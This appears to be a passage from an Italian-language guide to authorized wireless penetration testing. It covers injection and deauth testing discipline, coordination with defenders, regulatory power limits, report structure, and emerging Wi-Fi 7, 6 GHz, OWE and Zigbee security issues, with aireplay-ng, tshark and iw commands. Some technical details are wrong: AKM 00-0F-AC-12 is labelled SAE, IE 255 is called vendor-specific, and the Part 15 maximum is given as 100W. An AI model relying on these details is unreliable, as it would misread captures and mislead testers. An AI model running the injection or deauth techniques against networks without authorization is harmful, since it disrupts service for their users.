Disciplina temporale: Evitare intervalli prevedibili. I tool di deauth automatizzati hanno default su rate aggressivi che attivano firme WIDS e attirano l'attenzione degli investigatori. Spaziare le trasmissioni con jitter, e cessare ogni attività al di fuori delle finestre autorizzate—"lo script di test era ancora in esecuzione" non è una spiegazione difendibile per trasmissioni alle 3 del mattino.

Modalità di Fallimento dell'Apparecchiatura

Le NIC wireless sono il componente più fragile nel kit. Instabilità del driver in monitor mode, crash del firmware durante frame injection, e mismatch d'antenna distruggono la continuità del test e corrompono l'integrità dell'evidenza.

Fallimento	Sintomo	Diagnostica
Incompatibilità driver-injection	`aireplay-ng -9` restituisce "No answer..." nonostante il target presente	Verificare `iw list` per "Supported interface modes: monitor" e "Supported commands: injection"
Crash firmware sotto carico	L'interfaccia scompare da `ip link`; `dmesg` mostra disconnessione USB	Throttling termico su adapter compatti; aggiungere dissipatore passivo o ridurre il duty cycle
Mismatch antenna	Segnali vicini forti, target debole a 20m	Verificare tipo connettore (RP-SMA vs. SMA); controllare VSWR se apparecchiatura disponibile
Collasso alimentazione bus USB	Più adapter cadono simultaneamente	Usare hub alimentato; porte singole erogano 500mA, insufficienti per adapter ad alto TX

Lab (validazione aggressiva):

# Stress-test capacità injection contro AP di test noto
sudo aireplay-ng -9 -e TestLab -a 02:00:00:00:00:01 wlan0mon

Produzione (verifica conservativa):

# Valida monitor mode senza trasmettere frame di test
sudo airmon-ng check wlan0
sudo iw dev wlan0 interface add wlan0mon type monitor
sudo iw dev wlan0mon set channel 6 NOHT
# Verifica con cattura solo passiva
sudo tcpdump -i wlan0mon -c 100 -e -n | head -5

Cosa fa: La variante produzione crea interfaccia monitor senza injection, usando tcpdump per confermare la ricezione dei frame. Quando usarla: In ambienti operazionali dove qualsiasi trasmissione rischia interferenza. Rischi: La modalità solo passiva non può validare la capacità di injection; accoppiare con test lab controllato pre-ingaggio. Output atteso: Header Radiotap con forza del segnale e data rate, confermando monitoraggio funzionale senza validazione TX.

Gestione dei Falsi Positivi

La vostra flood deauth autorizzata attiverà ogni wireless IDS nell'azienda. Coordinare con il blue team in anticipo, ma costruire anche distinguibilità nell'attività di test. Firme di test strutturate permettono ai difensori di separare il vostro lavoro da attacchi genuini:

Numeri di sequenza prevedibili nei frame di test (ad esempio, prefisso payload fisso di 4 byte) per correlazione SOC
BSSID/MAC ranges documentati riservati all'apparecchiatura di test
Canale di comunicazione real-time (out-of-band) per notifiche di attività

Senza questi controlli, il test diventa un incidente non programmato. Peggio, un attacco genuino concorrente si nasconde nel vostro rumore. Mantenere un log di attività di test con granularità al secondo, condividerlo con il SOC, e cross-correlare contro la loro timeline di alert post-test.

Sicurezza Fisica e Limiti Rigidi Normativi

La FCC Part 15 stabilisce massimi assoluti: 100W output massimo per sistemi spread spectrum, con riduzione basata su rapporto SN sopra 1W. I limiti ETSI sono più stringenti e variano per sotto-banda. Superarli non è un rischio di sanzione di compliance—è un'azione di enforcement dello spettro con precedente di sequestro dell'apparecchiatura.

Più immediato è il rischio di interferenza per sistemi di sicurezza. Gli ambienti industriali usano 2,4 GHz per reti di sensori wireless; le strutture mediche per telemetria. Il vostro amplificatore da 30dBm può far collassare entrambi. La checklist sopra impone sweep spettrale pre-test; eseguirlo con analizzatore portatile o anche una seconda NIC in modalità wide scan:

# Rapido survey di occupazione canale prima del testing attivo
sudo iw dev wlan0mon set channel 1
sudo iw dev wlan0mon scan passive | grep -E "(SSID|signal|freq)" | head -20
# Ripetere per 6, 11, 36, 40, 44, 48, 149, 153, 157, 161

Cosa fa: Scansione passiva su canali rappresentativi rileva reti operative senza trasmettere. Quando usarla: Obbligatorio pre-test su tutti i canali nello scope. Rischi: La scansione passiva non rileva emettitori non-WiFi (telefoni cordless, telemetria proprietaria); integrare con analizzatore di spettro se sistemi di sicurezza sono plausibili. Output atteso: Lista SSID con forza del segnale; l'assenza di nomi SSID medici/industriali attesi non garantisce sicurezza del canale.

Rigidità Documentale e Struttura del Report

Il PTES enfatizza la riproducibilità. Per il wireless, ciò significa: hardware esatto (chipset NIC, modello antenna, versione firmware), versioni driver e tool, impostazioni canale e potenza, coordinate GPS, e catture complete di pacchetti (non solo riassunti). I file .cap di Aircrack-ng sono standard; annotare con kismetdb o equivalente per correlazione geolocalizzazione.

La struttura del report per valutazioni wireless dovrebbe includere:

Executive summary: Confini dello scope, finestra di test, riferimento autorizzazione
Metodologia: Descrizione fase adattata PTES con controlli specifici per wireless
Findings per SSID/BSSID: Plot di segnale, stato crittografia, debolezze di autenticazione, evidenza di cattura
Note operative: Deviazioni dal piano, fallimenti apparecchiatura, risoluzione falsi positivi
Timeline di remediation: Prioritizzata per sfruttabilità da perimetro accessibile RF

Un finding senza cattura con timestamp è un aneddoto. Una cattura senza hash di verifica è non verificabile. Generare SHA-256 al momento della cattura:

sha256sum capture_2024-06-15_site-alpha.cap >> capture_manifest.sha256

Intuizione duramente conquistata: Il fallimento di valutazione wireless più professionalmente dannoso non è una vulnerabilità mancata—è un negativo non dimostrabile. "Non abbiamo trovato nulla" richiede lo stesso standard evidenziario di "Abbiamo craccato WPA2-PSK in quattro ore." La documentazione incompleta trasforma un risultato pulito in uno inconclusivo, e i risultati inconclusivi non sopravvivono a peer review o discovery in litigio.

Ulteriori letture

Welcome to PTES's documentation! — pentest-standard 1.1 documentation

Standard emergenti e future-proofing della sicurezza wireless

Wi-Fi 7 e il Problema della Multi-Link Operation

Wi-Fi 7 (802.11be) non definisce la propria architettura di sicurezza. Eredita configurazioni WPA3 e WPA2 dalle decisioni di deployment, il che significa che ogni configurazione MLO (Multi-Link Operation) è sicura solo quanto il anello più debole della sua associazione. MLO consente a una singola stazione di mantenere connessioni simultanee attraverso le bande 2.4 GHz, 5 GHz e 6 GHz, aggregando la throughput ma frammentando il flusso di traffico osservabile attraverso più canali.

Questo compromette le assunzioni tradizionali di monitoraggio. Un WIDS wireless posizionato sul canale 36 nella banda 5 GHz vede solo una frazione dei dati; il resto attraversa link 6 GHz o 2.4 GHz invisibili a quel sensore. Gli attaccanti possono sfruttare questa asimmetria: sondare inconsistenze nelle politiche di sicurezza tra i link, targeting il segmento 2.4 GHz con pressione di downgrade mentre esfiltrano su 6 GHz, o manipolare eventi di cambio link per eludere il rilevamento durante il movimento laterale.

Wi-Fi 7 introduce nuovi tipi di frame per la gestione dei link—Multi-Link Probe Request/Response, elemento Basic Multi-Link, e frame Buffer Status Report. Questi frame devono essere parsati dagli strumenti di monitoraggio prima di poter essere correlati attraverso i canali. Le release stabili attuali della maggior parte delle suite di analisi wireless open-source non decodificano completamente questi frame; verificare le ultime note di release per il supporto dei frame 802.11be prima di deployare qualsiasi infrastruttura di monitoraggio per ambienti Wi-Fi 7.

# Lab: Ricerca di reti MLO-capaci e identificazione delle politiche di sicurezza per link
sudo airmon-ng start wlan0
# I beacon MLO includono l'elemento Multi-Link nell'IE 255 (Vendor Specific) con OUI 0x50-6F-9A
sudo tshark -i wlan0mon -Y "wlan.fc.type_subtype == 0x08" -T fields \
  -e wlan.bssid -e wlan.rsn.akms -e wlan.tag.vendor.data \
  | grep -i "50:6f:9a:1b" | head -20

Cosa fa: Estrae i frame beacon e filtra per l'OUI Wi-Fi Alliance che indica la capacità MLO, mostrando le suite di gestione delle chiavi di autenticazione per BSSID. Quando usarlo: Durante i site survey dei deployment Wi-Fi 7 per verificare una politica di sicurezza coerente attraverso le bande di link previste. Rischi: Il channel-hopping perde beacon transitori; eseguire per almeno 2 minuti per banda. wlan0mon deve supportare lo scan passivo 6 GHz o i risultati sono incompleti. Output atteso: Una riga per BSSID rilevato con valori AKM separati da due punti (es. 00:11:22:33:44:55 00-0F-AC-12,00-0F-AC-02 50:6f:9a:1b:...) dove 00-0F-AC-12 = SAE (WPA3-Personal), 00-0F-AC-02 = PSK (WPA2-Personal).

Produzione: Ridurre la durata dello scan a 30 secondi per set di canali per minimizzare l'occupazione dello spettro; loggare su file per analisi offline piuttosto che grep in tempo reale.

6 GHz: AFC, Range di Attacco, e lo Spostamento del Confine di Fiducia

L'uso di 6 GHz in Wi-Fi 6E e Wi-Fi 7 introduce l'Automated Frequency Coordination (AFC), un meccanismo regolamentare in cui i dispositivi riportano la posizione per coordinarsi con i servizi titolari (stazioni terrene satellitari, collegamenti a microonde fissi). I dispositivi devono ottenere autorizzazione dai provider AFC ogni 24 ore, con un periodo di grazia di 24 ore per la riconnessione.

L'implicazione di sicurezza è architetturale: i vostri access point dipendono ora da un servizio di autorizzazione esterno per il funzionamento di base. I sistemi AFC prendono decisioni di frequenza e potenza per popolazioni di dispositivi basate sui dati di posizione riportati. La compromissione di un provider AFC—o lo spoofing localizzato dei report di posizione—può forzare i dispositivi su canali congestionati, ridurre la potenza al di sotto delle soglie affidabili, o negare completamente l'autorizzazione. Questo non è teorico: recenti lavori analitici al workshop NDSS FutureG hanno esaminato le relazioni di fiducia nelle implementazioni AFC come una nuova superficie di attacco.

Praticamente, 6 GHz cambia anche la geometria fisica dell'attacco. Le caratteristiche di propagazione della banda differiscono marcatamente da 2.4/5 GHz: range più corto attraverso le ostruzioni, maggiore suscettibilità all'assorbimento, e comportamento più direzionale. Un attaccante nel parcheggio potrebbe dover essere significativamente più vicino che con 5 GHz, ma il rumore ambiente ridotto e lo spettro meno affollato significano che un avversario posizionato ottiene una cattura del segnale più pulita quando in range. Il vostro threat model deve aggiornarsi di conseguenza: le zone di rilevamento outdoor si restringono, ma la qualità dell'eavesdropping indoor aumenta.

Scenario	Assunzione 5 GHz	Realtà 6 GHz	Aggiustamento di sicurezza
Attacco edificio adiacente	Bloccato dai muri, -70 dBm	Spesso non si propaga; l'attaccante deve entrare nell'edificio o deployare un relay indoor	Ridurre la dipendenza dalla distanza fisica; monitorare per AP rogue indoor
Rilevamento AP rogue	Geolocalizzazione standard basata sulla potenza	I report di potenza sono meno correlati alla distanza a causa del beamforming	Usare fingerprinting (timing, artefatti del chipset) non solo RSSI
Evasione DFS	Gli annunci di cambio canale sono tracciabili	Gestito da AFC; la logica di cambio è opaca agli osservatori locali	Loggare le risposte del provider AFC; allertare all'ingresso nel periodo di grazia
Leak di isolamento client	Traffico cross-band visibile su un monitor	Suddiviso attraverso link MLO; il segmento 6 GHz invisibile ai sensori solo-5 GHz	Deployare cattura multi-canale o accettare gap di monitoraggio

L'operazione Low Power Indoor (LPI) è limitata agli ambienti indoor come condizione regolamentare. Questo non è un controllo di sicurezza—la penetrazione dell'edificio avviene—ma significa che le antenne direzionali outdoor e gli amplificatori ad alto guadagno violano i parametri regolamentari, creando anomalie rilevabili se il vostro monitoraggio dello spettro include controlli di conformità della potenza.

Realtà di Deployment di Enhanced Open (OWE)

L'Opportunistic Wireless Encryption (OWE), standardizzato in RFC 8110, fornisce associazioni 802.11 crittografate senza autenticazione. Nessun PSK, nessun 802.1X, nessuna credenziale di captive portal—solo uno scambio Diffie-Hellman che protegge contro l'eavesdropping passivo su reti altrimenti aperte.

Il divario tra lo stato I-D di bozza (scaduto, non approvato) e l'RFC 8110 finale (marzo 2017, Informational) illustra un pattern più ampio: i meccanismi di sicurezza Wi-Fi possono passare anni in un limbo di standardizzazione prima di raggiungere una maturità deployabile. L'OWE è ora maturo, ma l'adozione in equipaggiamento consumer e enterprise varia. Verificare specificamente le note di release del firmware dell'access point; "OWE" o "Wi-Fi CERTIFIED Enhanced Open" devono essere elencati esplicitamente, non dedotti dal supporto WPA3.

L'OWE non protegge contro gli attacchi attivi: un attaccante deploya un AP rogue con lo stesso SSID, i client si associano e eseguono DH con l'attaccante, e il traffico fluisce decrittato attraverso l'attaccante. L'OWE fornisce crittografia opportunistica, non autenticazione. Deployarlo dove l'alternativa è Wi-Fi completamente aperto (reti guest, spazi pubblici), ma mai dove è necessaria l'assicurazione di identità.

# Verificare se una rete pubblicizza la modalità di transizione OWE
# OWE BSS usa il selettore di suite AKM 00-0F-AC-12 con gestione speciale nell'RSN IE
sudo iw dev wlan0 scan | awk '/^BSS /{bssid=$2} /SSID: /{ssid=$2} /RSN/||/AKM/{print bssid, ssid, $0}' | grep -E "(OWE|18:1)"

Cosa fa: Parsa i risultati dello scan per le informazioni RSN che indicano il supporto OWE. Quando usarlo: Verificare che le reti "enhanced open" stiano effettivamente usando OWE e non un linguaggio di marketing per accesso non crittografato. Rischi: Alcuni driver sopprimono la visualizzazione completa degli IE; usare iw non iwlist per output RSN completo. Output atteso: Righe contenenti 18:1 (OWE AKM) o indicatori espliciti della modalità di transizione OWE; l'assenza significa non crittografato o sicurezza diversa.

Wi-Fi Aware, Wi-Fi Direct, e Protocolli Adiacenti

Wi-Fi Aware (precedentemente NAN, Neighbor Awareness Networking) e Wi-Fi Direct stabiliscono sessioni device-to-device senza infrastruttura. Questi operano al di fuori del controllo degli AP enterprise, creando reti shadow su hardware approvato. I confini di sicurezza collassano quando un laptop aziendale con Wi-Fi Direct abilitato effettua il bridge con il dispositivo di un attaccante nella stessa sala conferenze, poi instrada verso il SSID aziendale.

La risposta pratica è amministrativa, non tecnica: disabilitare Wi-Fi Direct e Wi-Fi Aware a livello driver o GPO dove non esplicitamente richiesto. Per gli ambienti IoT dove questi protocolli sono usati (display smart, stampanti, dispositivi di casting), collocarli su VLAN isolate con ispezione stateful al confine, non solo separazione SSID.

Adiacente al Wi-Fi, Zigbee e Thread operano nello spettro 2.4 GHz sovrapposto. Zigbee rimane dominante nei deployment IoT domestici e aziendali, e la sua implementazione di sicurezza ha attirato attenzione di ricerca sostenuta. Il protocollo fornisce funzionalità di sicurezza—chiavi di link, chiavi di rete, frame counter—ma le implementazioni leggere spesso le disabilitano o le indeboliscono per la conservazione della batteria. L'application note di NXP sul massimizzare la sicurezza Zigbee inquadra questo come disciplina di implementazione piuttosto che riprogettazione del protocollo: gli strumenti esistono, ma devono essere usati correttamente.

Il vero rischio è l'adiacenza, non l'interazione diretta. Un coordinatore Zigbee sul canale 15 di 2.4 GHz si colloca tra i canali Wi-Fi 1 e 6. L'interferenza cross-protocollo è minima (Zigbee usa canali 2 MHz, Wi-Fi 20-160 MHz), ma un dispositivo Zigbee compromesso con firmware modificato può emettere rumore in-band o segnali crafted che degradano selettivamente la qualità del link Wi-Fi. Più plausibilmente, la rete Zigbee diventa un target laterale: compromettere il segmento IoT, poi fare bridge al Wi-Fi via un hub dual-radio (controller smart home, alcuni access point con moduli radio IoT).

Preparazione Post-Quantum per lo Scambio di Chiavi Wireless

WPA3-SAE (Personal) e WPA3-Enterprise modalità 192-bit usano Diffie-Hellman su campo finito o curva ellittica per lo stabilimento delle chiavi. Questi sono vulnerabili agli attacchi harvest-now, decrypt-later da parte di futuri computer quantistici crittoanaliticamente rilevanti. Lo standard non specifica attualmente meccanismi di scambio chiavi post-quantum.

La preparazione è scalonata. Primo, auditare la vostra agilità crittografica: possono la vostra infrastruttura RADIUS e i supplicant client essere riconfigurati per lo scambio chiavi ibrido senza sostituzione del firmware? Secondo, monitorare i gruppi di lavoro IEEE 802.11 e Wi-Fi Alliance per emendamenti post-quantum; la timeline è incerta ma 5-10 anni è un orizzonte di pianificazione ragionevole. Terzo, per ambienti altamente sensibili, considerare VPN overlay con algoritmi post-quantum (incapsulamento ML-KEM) che viaggiano sopra associazioni WPA3 standard, accettando i costi di throughput e latenza.

Non aspettare lo standard. La transizione sarà disordinata—deployment in modalità mista, probe di capacità client, gestione del fallback—e le organizzazioni con pipeline di aggiornamento testate deployeranno più velocemente.

Framework Decisionale: Quando Aggiornare

Fattore	Rimanere su Wi-Fi 6/6E	Passare a Wi-Fi 7
Il monitoraggio dipende da WIDS single-channel	✓ MLO frammenta la visibilità	✗ Richiede sensori multi-canale o MLD-aware
6 GHz non ancora deployato	✓ Nessuna dipendenza AFC ancora	✗ Aggiunge confine di fiducia AFC prima del necessario
WPA3-Enterprise 192-bit richiesto oggi	✓ Pienamente supportato	○ Stesso supporto, nessun guadagno di sicurezza
Throughput MLO critico (video 8K, AR/VR)	✗ Non può consegnare	✓ Giustificato se il monitoraggio è aggiornato in parallelo
Priorità preparazione post-quantum	✓ Stabile, documentato	✗ Standard poco chiaro, probabile instabilità del firmware

L'elemento concreto: prima di qualsiasi pilota Wi-Fi 7, eseguire il survey MLO tshark sopra contro la vostra infrastruttura esistente. Se non potete parsare gli elementi Multi-Link in modo affidabile, non potete monitorare il deployment in modo affidabile. Risolvere prima quello, o accettare punti ciechi nella vostra copertura difensiva.